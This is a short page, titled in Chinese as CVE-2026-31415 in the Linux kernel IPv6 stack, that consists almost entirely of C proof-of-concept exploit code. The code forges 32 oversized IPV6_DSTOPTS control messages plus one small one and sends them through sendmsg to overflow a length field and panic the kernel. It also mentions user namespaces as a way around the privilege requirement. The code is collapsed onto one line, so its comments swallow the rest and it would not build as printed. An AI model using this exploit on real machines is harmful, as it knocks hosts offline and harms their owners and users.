CVE-2026-31415 Linux内核IPv6栈本地拒绝服务漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/in6.h> #include <sys/types.h> #include <sys/user.h> #define IPV6_DSTOPTS 59 // Simplified PoC logic to demonstrate the cmsg construction int main() { int s; struct sockaddr_in6 addr; struct msghdr msg = {0}; struct iovec iov; char data_buf[128] = "test"; // Create IPv6 socket s = socket(AF_INET6, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return 1; } // Setup target address memset(&addr, 0, sizeof(addr)); addr.sin6_family = AF_INET6; addr.sin6_addr = in6addr_loopback; iov.iov_base = data_buf; iov.iov_len = sizeof(data_buf); msg.msg_name = &addr; msg.msg_namelen = sizeof(addr); msg.msg_iov = &iov; msg.msg_iovlen = 1; // Allocate buffer for control messages // We need 32 large options (2048 bytes each) and 1 small option (8 bytes) // Total calculation: 32 * CMSG_SPACE(2048) + CMSG_SPACE(8) int large_opt_len = 2048; int num_large_opts = 32; int total_ctrl_size = num_large_opts * CMSG_SPACE(large_opt_len) + CMSG_SPACE(8); char *ctrl_buf = malloc(total_ctrl_size); memset(ctrl_buf, 0, total_ctrl_size); msg.msg_control = ctrl_buf; msg.msg_controllen = total_ctrl_size; struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg); // Forge 32 large IPV6_DSTOPTS headers // hdrlen = 255 implies len = (255+1)*8 = 2048 for (int i = 0; i < num_large_opts; i++) { if (cmsg == NULL) break; cmsg->cmsg_level = SOL_IPV6; cmsg->cmsg_type = IPV6_DSTOPTS; cmsg->cmsg_len = CMSG_LEN(large_opt_len); // Set hdrlen to 255 (byte 1 of the option header) unsigned char *opt_data = CMSG_DATA(cmsg); memset(opt_data, 0, large_opt_len); opt_data[1] = 255; cmsg = CMSG_NXTHDR(&msg, cmsg); } // Forge 1 small IPV6_DSTOPTS header // hdrlen = 0 implies len = 8 if (cmsg) { cmsg->cmsg_level = SOL_IPV6; cmsg->cmsg_type = IPV6_DSTOPTS; cmsg->cmsg_len = CMSG_LEN(8); } // Trigger the vulnerability // Note: This typically requires CAP_NET_RAW. // In a real exploit scenario, unprivileged users might use user namespaces. printf("Sending payload to trigger opt_flen overflow...\n"); ssize_t sent = sendmsg(s, &msg, 0); if (sent < 0) { perror("sendmsg failed (might need CAP_NET_RAW)"); } else { printf("Payload sent. System may panic if vulnerable.\n"); } free(ctrl_buf); close(s); return 0; }